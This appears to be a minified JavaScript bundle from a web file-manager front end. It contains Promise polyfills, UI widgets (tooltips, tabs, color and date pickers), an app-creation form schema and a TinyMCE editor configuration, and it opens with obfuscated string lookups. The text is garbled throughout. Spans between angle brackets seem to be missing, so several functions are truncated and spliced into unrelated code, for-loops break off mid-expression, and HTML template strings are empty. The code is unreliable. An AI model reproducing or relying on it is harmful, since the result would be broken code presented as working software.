a=n[y("0x3cc","^)v!")](n[y("0x3cd",")f3B")],LNG[n[y("0x3ce","LXAl")]]);a+=n[y("0x3cf","cfNi")](n[y("0x3d0","$*Ez")](n[y("0x3d1","x(^m")](n[y("0x3d2","X7Jt")](n[y("0x3d3","pJ[F")],u),n[y("0x3d4","X7Jt")]),LNG[n[y("0x3d5","8igK")]]),n[y("0x3d6","8igK")]),n[y("0x3d7","*Mi!")]($,a)[y("0x3d8","!tH[")]($main)}catch(r){if(n[y("0x3da","F)fe")](n[y("0x3db","i1H]")],n[y("0x3dc","EmKe")]))return!1;new d["default"]}},"encodeString":function(e,t,i){var n={};n[y("0x3dd","cfNi")]=function(e,t,i){return e(t,i)},n[y("0x3de","*Mi!")]=y("0x3df","zM]x"),n[y("0x3e0","j0^B")]=y("0x3e1","jcCM"),n[y("0x3e2","j0^B")]=function(e,t){return e(t)},n[y("0x3e3","H$3O")]=y("0x3e4","gNBs"),n[y("0x3e5","Abq]")]=function(e,t){return e+t},n[y("0x3e6","ms97")]=function(e,t,i){return e(t,i)},n[y("0x3e7","qPYD")]=y("0x3e8","RNrS"),n[y("0x3e9","8igK")]=function(e,t){return e+t},n[y("0x3ea","paKf")]=function(e,t){return e+t},n[y("0x3eb","RMY8")]=function(e,t,i){return e(t,i)},n[y("0x3ec","*Mi!")]=function(e,t){return e+t},n[y("0x3ed","^e$v")]=function(e,t){return e(t)},n[y("0x3ee","ZA1l")]=function(e,t){return e%t},n[y("0x3ef","0Bh7")]=function(e,t){return e+t},n[y("0x3f0","i1H]")]=function(e,t){return e=e.length?(this._t=undefined,a(1)):a(0,"keys"==t?i:"values"==t?e[i]:[i,e[i]])},"values"),r.Arguments=r.Array,n("keys"),n("values"),n("entries")},function(e,t){e.exports=function(){}},function(t,i,n){"use strict";function a(){}function u(e){var t;return!(!x(e)||"function"!=typeof(t=e.then))&&t}function r(h,n){if(!h._n){h._n=!0;var a=h._c;y(function(){for(var c=h._v,d=1==h._s,t=0,i=function(t){var i,n,a,r=d?t.ok:t.fail,o=t.resolve,s=t.reject,l=t.domain;try{r?(d||(2==h._h&&R(h),h._h=1),!0===r?i=c:(l&&l.enter(),i=r(c),l&&(l.exit(),a=!0)),i===t.promise?s(_("Promise-chain cycle")):(n=u(i))?n.call(i,o,s):o(i)):s(c)}catch(e){l&&!a&&l.exit(),s(e)}};a.length>t;)i(a[t++]);h._c=[],h._n=!1,n&&!h._h&&j(h)})}}function o(e){var t=this;t._d||(t._d=!0,(t=t._w||t)._v=e,t._s=2,t._a||(t._a=t._c.slice()),r(t,!0))}var s,l,c,d,h=n(28),f=n(3),p=n(17),w=n(40),m=n(8),x=n(9),v=n(25),g=n(60),b=n(35),C=n(67),D=n(68).set,y=n(127)(),O=n(48),k=n(69),K=n(128),M=n(70),T="Promise",_=f.TypeError,A=f.process,S=A&&A.versions,L=S&&S.v8||"",N=f[T],E="process"==w(A),$=l=O.f,I=!!function(){try{var t=N.resolve(1),i=(t.constructor={})[n(4)("species")]=function(e){e(a,a)};return(E||"function"==typeof PromiseRejectionEvent)&&t.then(a)instanceof i&&0!==L.indexOf("6.6")&&-1===K.indexOf("Chrome/66")}catch(e){}}(),j=function(r){D.call(f,function(){var e,t,i,n=r._v,a=P(r);if(a&&(e=k(function(){E?A.emit("unhandledRejection",n,r):(t=f.onunhandledrejection)?t({"promise":r,"reason":n}):(i=f.console)&&i.error&&i.error("Unhandled promise rejection",n)}),r._h=E||P(r)?2:1),r._a=undefined,a&&e.e)throw e.v})},P=function(e){return 1!==e._h&&0===(e._a||e._c).length},R=function(t){D.call(f,function(){var e;E?A.emit("rejectionHandled",t):(e=f.onrejectionhandled)&&e({"promise":t,"reason":t._v})})},q=function(i){var n,a=this;if(!a._d){a._d=!0,a=a._w||a;try{if(a===i)throw _("Promise can't be resolved itself");(n=u(i))?y(function(){var t={"_w":a,"_d":!1};try{n.call(i,p(q,t,1),p(o,t,1))}catch(e){o.call(t,e)}}):(a._v=i,a._s=1,r(a,!1))}catch(e){o.call({"_w":a,"_d":!1},e)}}};I||(N=function(e){g(this,N,T,"_h"),v(e),s.call(this);try{e(p(q,this,1),p(o,this,1))}catch(t){o.call(this,t)}},(s=function(e){this._c=[],this._a=undefined,this._s=0,this._d=!1,this._v=undefined,this._h=0,this._n=!1}).prototype=n(61)(N.prototype,{"then":function(e,t){var i=$(C(this,N));return i.ok="function"!=typeof e||e,i.fail="function"==typeof t&&t,i.domain=E?A.domain:undefined,this._c.push(i),this._a&&this._a.push(i),this._s&&r(this,!1),i.promise},"catch":function(e){return this.then(undefined,e)}}),c=function(){var e=new s;this.promise=e,this.resolve=p(q,e,1),this.reject=p(o,e,1)},O.f=$=function(e){return e===N||e===d?new c(e):l(e)}),m(m.G+m.W+m.F*!I,{"Promise":N}),n(30)(N,T),n(83)(T),d=n(1)[T],m(m.S+m.F*!I,T,{"reject":function(e){var t=$(this);return(0,t.reject)(e),t.promise}}),m(m.S+m.F*(h||!I),T,{"resolve":function(e){return M(h&&this===d?N:this,e)}}),m(m.S+m.F*!(I&&n(103)(function(e){N.all(e)["catch"](a)})),T,{"all":function(e){var o=this,t=$(o),s=t.resolve,l=t.reject,i=k(function(){var n=[],a=0,r=1;b(e,!1,function(e){var t=a++,i=!1;n.push(undefined),r++,o.resolve(e).then(function(e){i||(i=!0,n[t]=e,--r||s(n))},l)}),--r||s(n)});return i.e&&l(i.v),t.promise},"race":function(e){var t=this,i=$(t),n=i.reject,a=k(function(){b(e,!1,function(e){t.resolve(e).then(i.resolve,n)})});return a.e&&n(a.v),i.promise}})},function(e,t){e.exports=function(e,t,i){var n=i===undefined;switch(t.length){case 0:return n?e():e.call(i);case 1:return n?e(t[0]):e.call(i,t[0]);case 2:return n?e(t[0],t[1]):e.call(i,t[0],t[1]);case 3:return n?e(t[0],t[1],t[2]):e.call(i,t[0],t[1],t[2]);case 4:return n?e(t[0],t[1],t[2],t[3]):e.call(i,t[0],t[1],t[2],t[3])}return e.apply(i,t)}},function(t,i,n){var l=n(3),c=n(68).set,d=l.MutationObserver||l.WebKitMutationObserver,h=l.process,u=l.Promise,f="process"==n(24)(h);t.exports=function(){function t(){var t,i;for(f&&(t=h.domain)&&t.exit();n;){i=n.fn,n=n.next;try{i()}catch(e){throw n?r():a=undefined,e}}a=undefined,t&&t.enter()}var n,a,r;if(f)r=function(){h.nextTick(t)};else if(!d||l.navigator&&l.navigator.standalone)if(u&&u.resolve){var i=u.resolve(undefined);r=function(){i.then(t)}}else r=function(){c.call(l,t)};else{var o=!0,s=document.createTextNode("");new d(t).observe(s,{"characterData":!0}),r=function(){s.data=o=!o}}return function(e){var t={"fn":e,"next":undefined};a&&(a.next=t),n||(n=t,r()),a=t}}},function(e,t,i){var n=i(3).navigator;e.exports=n&&n.userAgent||""},function(e,t,i){"use strict";var n=i(8),a=i(1),r=i(3),o=i(67),s=i(70);n(n.P+n.R,"Promise",{"finally":function(t){var i=o(this,a.Promise||r.Promise),e="function"==typeof t;return this.then(e?function(e){return s(i,t()).then(function(){return e})}:t,e?function(e){return s(i,t()).then(function(){throw e})}:t)}})},function(e,t,i){"use strict";var n=i(8),a=i(48),r=i(69);n(n.S,"Promise",{"try":function(e){var t=a.f(this),i=r(e);return(i.e?t.reject:t.resolve)(i.v),t.promise}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){n(),a(),r(),l(),o(),Events.trigger("windowReady");var e=document.createEvent("CustomEvent");e.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(e)};var n=function n(){if($.fn.perfectScroll){var e=function e(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",e),$(window).bind("scoller",e)}},a=function a(){if(!$.isWindowTouch()&&$.fn.poshytip){var e=$("[title]");e.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},"content":function(e){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||e.hasClass("disable")||e.hasClass("disable-title"))){e.addClass("yellow");var t=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));t=i.is("input")||i.is("textarea")?i.val():i.html()}return-1==(t=t||"").indexOf("<")&&-1==t.indexOf(">")&&(t=t.replace(/\n/g,"
    ")),t}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(e).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(e).poshytip("hide"),$(".ptips-skin").remove())})}},r=function r(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},s=function s(){if(!$.isWindowTouch()){var e=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":e,"delegate":"body"})}},l=function l(){var e="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(e="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(e,".disable-ripple,.disabled,.disable,.ztree"),s(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(e){return stopPP(e)}),window.API_HOST){$("body").delegate("[link-href]","click",function(e){return o(e,"")}),$("body").delegate("a","click",function(e){"#"==$(this).attr("href")&&e.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(e){if(2==e.which)return o(e,"_blank")});var o=function o(e,t){var i=$(e.currentTarget),n=i.attr("link-href")||"#",a=(t=t||i.attr("target"),_.startsWith(n,"http://")||_.startsWith(n,"https://")),r=n;if(!a){if(n.startsWith("/")||n.startsWith("./"))return 2==e.which||"_blank"==t?window.open(r):void(window.location.href=n);r=$.parseUrl().urlPath+("#"==n?"":"#"+n)}return i.attr("dialog-open")||"dialog"==t?core.openDialog(r,"",htmlEncode(i.text())):a?void("_blank"==t?window.open(r):window.location.href=r):2==e.which||"_blank"==t?window.open(r):void Router.go(n)}}},o=function o(){$.fn.tabCurrent=function(){var e=$(this);if(!e||0==e.length)return this;var t=e.parent(),i=e.outerWidth(),n=e.offset().left-t.offset().left,a=t.children(".tab-item-bar");if(0==a.length)return this;a.data("initTab")||(a.data("initTab",1),a.addClass("no-animate opacity-hidden"),setTimeout(function(){a.removeClass("opacity-hidden"),t.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){t.children(".tab-item").filter(".active").tabCurrent(),a.removeClass("no-animate")},300)),i=1*e.width(),n+=(e.outerWidth()-i)/2;var r=t.offset().top+t.outerHeight(),o=e.offset().top+e.outerHeight(),s={"width":i+"px","left":n+"px","transform":"translate3d(0px,-"+Math.abs(r-o+1)+"px, 0px)"};a.css(s),t.children(".tab-item").removeClass("active"),e.addClass("active");var l=t.parent().children(".tab-group-pan").children(".tab-content");if(0!=l.length){var c=l.filter(":visible"),d=l.filter("."+e.attr("tab-name"));c.switchTo(d)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var e=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",e),$.isWindowTouch()&&c()},c=function c(){}},function(t,i){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}t.exports=n},function(e,t,i){var n=i(9);e.exports=function(e,t){if(!n(e)||e._t!==t)throw TypeError("Incompatible receiver, "+t+" required!");return e}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","display":LNG["explorer.app.name"],"require":1,"attr":{"placeholder":LNG["explorer.app.nameDesc"]}},"desc":{"type":"input","display":LNG["explorer.app.desc"],"attr":{"placeholder":LNG["explorer.app.descDesc"]}},"group":{"type":"select","display":LNG["explorer.app.group"],"attr":{"placeholder":LNG["common.select"]},"info":{},"require":1},"type":{"type":"segment","value":"url","className":"hide","display":LNG["explorer.app.appType"],"info":{"url":""+LNG["explorer.app.website"],"js":""+LNG["explorer.app.code"]},"switchItem":{"path":"value-path,pathType","url":"value-url,openType","js":"value-js"}},"icon":{"type":"fileSelect","display":LNG["explorer.app.imgIcon"],"value":"oexe.png","info":{"single":"1","type":"file","makeUrl":"1","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]}},"sep003":"
    ","value-path":{"type":"input","display":LNG["explorer.app.path"],"desc":"
    "+LNG["explorer.app.pathDesc"]+"
    "},"pathType":{"type":"hide","value":"folder","className":"hide"},"ext":{"type":"hide","className":"hide"},"value-url":{"type":"input","display":LNG["explorer.app.link"],"require":1,"attr":{"placeholder":LNG["explorer.app.linkDesc"]}},"openType":{"type":"segment","value":"window","display":LNG["explorer.app.openType"],"info":{"window":""+LNG["explorer.app.openWindow"],"dialog":""+LNG["explorer.app.openDialog"]},"switchItem":{"window":"","dialog":"width,height,resize,simple"}},"width":{"type":"input","display":LNG["explorer.app.dialogSize"],"value":"80%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.with"]},"height":{"type":"input","value":"70%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.height"]},"sep002":"
    ","resize":{"type":"checkbox","display":LNG["explorer.app.moreSet"],"value":"1","className":"inline","info":{"1":LNG["explorer.app.canDiyWith"]}},"simple":{"type":"checkbox","value":"0","className":"inline","info":{"1":LNG["explorer.app.miniBlock"]}},"value-js":{"type":"codeEditor","display":LNG["explorer.app.runCode"],"className":"clear","require":1,"attr":{"data-ext":"js","data-theme":"tomorrow","style":"height:180px;","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"setValue":function(e,t){e.parent().find('button[data-value="'+t+'"]').click()},"bindForm":function(e){var t=this.$(".form-button button"),a="active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first().find("input"),i=$(this).attr("data-value"),n=_.filter(t.val().split(","));$(this).hasClass(a)?(n=_.pull(n,i),$(this).removeClass(a)):(n.push(i),$(this).addClass(a)),t.val(n.join(",")).trigger("change")}),e&&e()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(6)),r=o(i(7));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"city-picker/city-picker.data"]);case 2:return e.next=4,requirePromise([VENDER_PATH+"city-picker/css/city-picker.css",VENDER_PATH+"city-picker/city-picker"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return","");case 6:this.$(".form-cityPicker input").each(function(){var e=$(this);e.css("width",e.width()),e.citypicker()}),this.bind("onRemove",function(){this.$(".form-cityPicker input").citypicker("destroy")}),t&&t();case 9:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.val(t).trigger("change")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"loadFile":function(e){requireAsync([VENDER_PATH+"colorpicker/pickr.min.js",VENDER_PATH+"colorpicker/nano.min.css"],e)},"bindForm":function(t){var i=this;this.loadFile(function(){var e=this.$(".form-color");e.find("input + .btn").bind("click",function(){$(this).prev().click()}),e.each(function(){i.bindColorItem($(this))}),t&&t()})},"bindColorItem":function(e){var n=e.find("input"),a=e.find(".color-picker-view .font-icon"),t=Pickr&&Pickr.create({"el":e.find(".color-picker-view").get(0),"theme":"nano","position":"top-start","useAsButton":!0,"default":n.val()||"#000000","swatches":["#FFFFFF","#cfd8dc","#ffccbc","#ffecb3","#fff9c4","#dcedc8","#b2ebf2","#e6f7ff","#d1c4e9","#D9D9D9","#90a4ae","#ff8a65","#ffd54f","#fff176","#aed581","#4dd0e1","#91d5ff","#9575cd","#969696","#607d8b","#ff5722","#ffc107","#ffeb3b","#8bc34a","#00bcd4","#40a9ff","#673ab7","#525252","#455a64","#e64a19","#ffa000","#fbc02d","#689f38","#0097a7","#1890ff","#512da8","#000000","#263238","#bf360c","#ff6f00","#f57f17","#33691e","#006064","#006dd2","#311b92"],"components":{"preview":!0,"opacity":!0,"hue":!0,"interaction":{"hex":1,"rgba":1,"hsla":0,"hsva":0,"cmyk":0,"input":1,"clear":0,"save":0}}});t=t||{"on":$.noop,"show":$.noop,"setColor":$.noop};var r=timeFloat();t.on("change",function(e,t){if(!(timeFloat()-r<.015)){var i=e.toHEXA().toString();n.val(i).trigger("change"),a.css("color",i)}}),n.data("picker",t),n.bind("focus mousedown mouseup",function(){t.show()}).bind("paste keyup",function(){r=timeFloat();var e=$(this).val();t.setColor(e),a.css("color",e)}),this.bind("onRemove",function(){t.destroyAndRemove()})},"setValue":function(e,t){var i=e.parent().find(".color-picker-view .font-icon");e.val(t).trigger("change"),i.css("color",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-colorLabel select","init":function(){},"selectDataMake":function(e,t,i){this.loadData(e),i()},"loadData":function(t){for(var n=[],e="grey,red,orange,yellow,green,cyan,blue,purple,pink".split(","),i="light,normal,deep".split(","),a=0;a';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(6)),r=o(i(7));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,r["default"])(a["default"].mark(function s(t){var i,c,d;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this.$(".form-dateTime input + .btn").bind("click",function(){$(this).parents(".form-dateTime").find("input").focus()}),e.next=3,requirePromise([VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.css",VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.js"]);case 3:if(i=G.lang,d="zh-CN"==i||"zh-TW"==i?"ch":"en",(c=this).$el){e.next=8;break}return e.abrupt("return","");case 8:this.$(".form-dateTime input").each(function(){for(var e=$(this).attr("data-format")||dateFormatGet("timeDay"),t=$(this).attr("data-fromTime"),i=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],n=["H","h","i","s","A","a","b","g","G","O","P","c","U"],a=!1,r=!1,o=0;o';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(6)),r=o(i(7));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var n=this;this.hightCodeCheck(),this.$("[data-link-type]").each(function(){var t=$(this),i=t.attr("data-link-type"),e=t.attr("data-link-url");switch(i){case"html":case"code":$.get(e,function(e){"code"==i?t.html("
    "+htmlEncode(e)+"
    "):t.html(e),n.hightCodeCheck()});break;case"javascript":case"style":requireAsync(e)}}),e&&e()},"hightCodeCheck":(n=(0,r["default"])(a["default"].mark(function s(){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(this.$("pre,code").exists()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,requirePromise([VENDER_PATH+"markdown/highlight.min"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return");case 6:this.$("pre,code").each(function(e,t){$(this).hasClass("ace_editor")||$(this).hasClass("hljs")||hljs.highlightBlock(t)});case 7:case"end":return e.stop()}},s,this)})),function l(){return n.apply(this,arguments)})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(145)),o=a(i(53));function a(e){return e&&e.__esModule?e:{"default":e}}var r=new n["default"];t["default"]=ClassBase.extend({"init":function(){},"getValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor"),n="";return n=i?i.getContent():t.find("textarea").val(),r.toTextStore(n)},"setValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor");return i&&i.setContent(t)},"loadFile":function(e){requireAsync([VENDER_PATH+"tinymce/tinymce.min.js",VENDER_PATH+"tinymce/jquery.tinymce.min.js",VENDER_PATH+"tinymce/kod/style.css"],function(){requireAsync([VENDER_PATH+"tinymce/kod/media.js"],e)})},"bindForm":function(e){var t=this;this.$(".form-htmlEditor textarea").each(function(){var e=Tips.loadingMask($(this).parent(),LNG["explorer.wordLoading"],.99,252);$(this).data("loadingTips",e)}),this.loadFile(function(){t.$(".form-htmlEditor textarea").each(function(){t.initEditor($(this),e)})}),this.bind("onRemove",function(){t.$(".form-htmlEditor .tox-tinymce").each(function(){var e=$(this).data("editor");e&&e.destroy()})})},"initEditor":function(i,n){var e=UUID(),a=this;i.addClass(e);var t=jsonDecode(htmlDecode(i.attr("data-options")||""))||{},r=this.options(t);r=_.extend({"selector":"."+e,"theme":"silver","content_css":[VENDER_PATH+"tinymce/kod/content.css",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css"],"file_browser_callback":function(e,t,i,n){return!1},"setup":function(e){e.on("preinit",function(){a.editorInitBefore(e)})},"init_instance_callback":function(e){a.editorInitAfter(e);var t=i.data("loadingTips");t&&t.close(),a.isInitFinished||(a.isInitFinished=!0,n&&n())},"image_advtab":!0,"image_title":!1,"paste_data_images":!0,"automatic_uploads":!0,"images_upload_handler":function(e,t,i){(new o["default"]).upload(e.blob(),e.filename(),function(e){t(e.downloadPath)})}},r),tinymce.init(r)},"editorInitBefore":function(t){tinymce.pluginResetAdd&&_.each(tinymce.pluginResetAdd,function(e){e&&e(t)}),this.editorAddIcon(t),this.editorResetMenus(t)},"editorResetMenus":function(e){var t=e.ui.registry.getAll();if(!_.isEmpty(t.menuItems)){var i="tableprops,align,fontformats,fontsizes,blockformats".split(",");_.each(i,function(e){t.menuItems[e]&&(t.menuItems[e].icon=e)})}},"editorAddIcon":function(n){var e=n.ui.registry.getAll();this.resetSvgIcon(e.icons);_.each({"math":"mce-i-icon mce-i-mathjax","bdmap":"ri-map-pin-fill-5","code":"ri-code-s-slash-line","fontformats":"ri-font-size","fontsizes":"ri-font-size","lineheight":"ri-line-height","blockformats":"ri-heading","new-tab":"ri-external-link-line","align":"mce-i-icon mce-i-align-center","tableprops":"ri-information-line","table-delete-table":"ri-indeterminate-circle-line","checklist":"ri-checkbox-fill","sourcecode":"ri-code-s-slash-line","code-sample":"ri-code-s-slash-line","insert-time":"ri-calendar-check-fill","embed":"ri-play-circle-fill","chevron-down":"ri-arrow-down-s-line","chevron-right":"ri-arrow-right-s-line","chevron-left":"ri-arrow-left-s-line","chevron-up":"ri-arrow-drop-up-line"},function(e,t){var i='';n.ui.registry.addIcon(t,i)})},"resetSvgIcon":function(e){var t=["help","bookmark","autocorrect","bidiltr","bidirtl","quote","bold","unordered-list","button","checkbox","copy","cut","docprops","find","form","visualchars","horizontal-rule","iframe","image","imagebutton","indent","italic","align-justify","align-center","align-left","align-right","language","link","mathjax","fullscreen","newpage","ordered-list","outdent","page-break","paste","pastefromword","preview","print","radio","redo","remove-formatting","search","save","scayt","select","select-all","showblocks","emoji","sourcecode","sourcedialog","insert-character","spellchecker","strike-through","subscript","superscript","table","templates","textarea","textfield","uicolor","underline","undo","undo","unlink"];for(var i in e)if(!e[i]||"')}},"editorInitAfter":function(t){var i=this,e=$(t.editorContainer),n=e.find(".tox-toolbar").first();this.editorResetDialog(t),e.data("editor",t),e.find("iframe").attr("title","").addClass("disable-title");var a=t.settings.toolbar.join(" ").replace(/\|/g," ").replace(/ +/g," ").split(" ");if(e.find(".tox-toolbar__group").children().each(function(e){$(this).addClass("toolbar-"+a[e])}),t.settings.menubar){var r=e.find(".tox-menubar");(r=r.appendTo(n)).prev().addClass("menubar-prev");var o=t.settings.menubar.split(" ");r.find(".tox-mbtn").each(function(e){$(this).addClass("mce-i-"+o[e])})}t.on("DblClick",function(e){i.editorObjectClick(t,$(e.target))})},"editorObjectClick":function(e,t){if(t[0].tagName)switch(t[0].tagName.toLowerCase()){case"img":t.hasClass("mce-object-video")?e.execCommand("mceMedia"):t.hasClass("mce-object")||e.execCommand("mceImage");break;case"a":e.execCommand("mceLink");break;case"span":t.hasClass("mce-preview-object")&&t.hasClass("mce-object-iframe")&&e.execCommand("mceMedia")}},"editorResetDialog":function(e){var o=function o(e){var t=artDialog.defaults.zIndex++;e.css({"z-index":t})},t=function t(r){return function(){var e=r.apply(this,arguments),t=$(window),i=$('.tox-dialog[aria-modal="true"]');if(1!=i.length)return e;var n=i.parents(".tox-dialog-wrap"),a=n.find(".tox-dialog-wrap__backdrop");return o(n),n.bind("mousedown",function(e){o(n)}),i.css({"position":"fixed","left":(t.width()-i.width())/2,"top":(t.height()-i.height())/2}),a.hide().fadeIn(200),i.addClass("dialogShow animated"),i.find(".tox-dialog__body-nav-item").addClass("ripple-item"),i.find(".tox-textarea").length&&i.addClass("tox-dialog-add-source"),i.find(".tox-image-tools-edit-panel").length&&i.addClass("tox-image-edit"),e}};e.windowManager.open=t(e.windowManager.open),e.windowManager.openUrl=t(e.windowManager.openUrl)},"options":function s(e){var t="12px,13px,14px,15px,16px,18px,20px,24px,32px,36px,48px".split(","),i={"full":["formatselect fontsizeselect fontselect | alignleft aligncenter alignright lineheight | removeformat formatpainter preview codeView fullscreen","bold italic underline strikethrough forecolor backcolor | indent outdent numlist bullist |blockquote hr emoticons link image table"],"normal":["bold italic underline forecolor | alignleft aligncenter alignright | bullist indent outdent |hr blockquote link image"],"simple":["bold italic underline | alignleft aligncenter alignright |hr blockquote link image"]};e.toolbar=i[e.toolbar]||e.toolbar||i.full;var n=_.includes(G.lang,"zh")?"zh_CN":"en",s={"theme_advanced_font_sizes":t.join(","),"fontsize_formats":t.join(" "),"font_formats":["微软雅黑=Microsoft Yahei","宋体=STsong,SimSun,NSimSun,STFangsong,FangSong,FangSong_GB2312,STZhongsong","细黑=STXihei,STHeiti,SimHei","楷体=STKaiti,KaiTi,KaiTi_GB2312,Kai","华文行楷=STXingkai","隶书=隶书,SimLi,STLiti","Arial=Arial,helvetica,sans-serif","Comic Sans MS=Comic Sans MS,cursive","Courier New=Courier New,Courier,monospace","Impact=Impact,chicago","Lucida Sans Unicode=Lucida Sans Unicode,Lucida Grande,sans-serif","Tahoma=Tahoma,Geneva,sans-serif","Times New Roman=Times New Roman,Times,serif","Trebuchet MS=Trebuchet MS","Verdana=Verdana,Geneva,sans-serif"].join(";"),"menu":{"menuFormate":{"title":"Format","items":"bold italic underline strikethrough superscript subscript blockquote checklist codeformat | blockformats fontformats fontsizes align | forecolor backcolor | removeformat"},"menuInsert":{"title":"Insert","items":"image link media template codesample inserttable | pageembed kitymath bdmap | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},"menuMore":{"title":"更多","items":"undo redo | cut copy selectall searchreplace | visualchars visualblocks | codeView wordcount formatpainter | fullscreen preview print "}},"menubar":"menuFormate menuInsert menuMore","language":n,"plugins":["print preview searchreplace autolink directionality visualblocks visualchars fullscreen image","link media codesample table charmap hr pagebreak nonbreaking anchor toc insertdatetime advlist","lists textcolor wordcount imagetools contextmenu paste colorpicker textpattern help lineheight quickbars","bdmap emoticons checklist pageembed formatpainter kitymath codeView"],"toolbar":[],"toolbar_groups":{"formateKod":{"icon":"bold","tooltip":"Formatting","items":"bold italic underline | superscript subscript"},"alighKod":{"icon":"aligncenter","tooltip":"Align","items":"alignleft aligncenter alignright"}},"browser_spellcheck":!0,"color_cols":9,"color_map":["#FFFFFF","c-white","#cfd8dc","","#ffccbc","","#ffecb3","","#fff9c4","","#dcedc8","","#b2ebf2","","#e6f7ff","","#d1c4e9","","#D9D9D9","","#90a4ae","","#ff8a65","","#ffd54f","","#fff176","","#aed581","","#4dd0e1","","#91d5ff","","#9575cd","","#969696","","#607d8b","","#ff5722","","#ffc107","","#ffeb3b","","#8bc34a","","#00bcd4","","#40a9ff","","#673ab7","","#525252","","#455a64","","#e64a19","","#ffa000","","#fbc02d","","#689f38","","#0097a7","","#1890ff","","#512da8","","#000000","","#263238","","#bf360c","","#ff6f00","","#f57f17","","#33691e","","#006064","","#006dd2","","#311b92",""],"resize":"both","toolbar_mode":"sliding","draggable_modal":!0,"branding":!1,"elementpath":!1,"statusbar":!1,"contextmenu":"bold copy cut | align | link format | insert | table","quickbars_insert_toolbar":!1,"quickbars_selection_toolbar":"bold italic underline | h2 h3 blockquote link","cache_suffix":"?v="+G.kod.version,"allow_conditional_comments":!0,"verify_html":!0,"extended_valid_elements":"i[*],span[*],div[*]","remove_trailing_brs":!1,"protect":[/\<\/?(if|endif)\>/g,/\]+\>/g,/<\?php.*?\?>/g],"paste_webkit_styles":"color,background,width,height,vertical-align,text-align,padding,margin,padding-top,padding-bottom,line-height","file_browser_callback_types":"image"};return _.extend(s,e||{}),s}})},function(e,t,i){"use 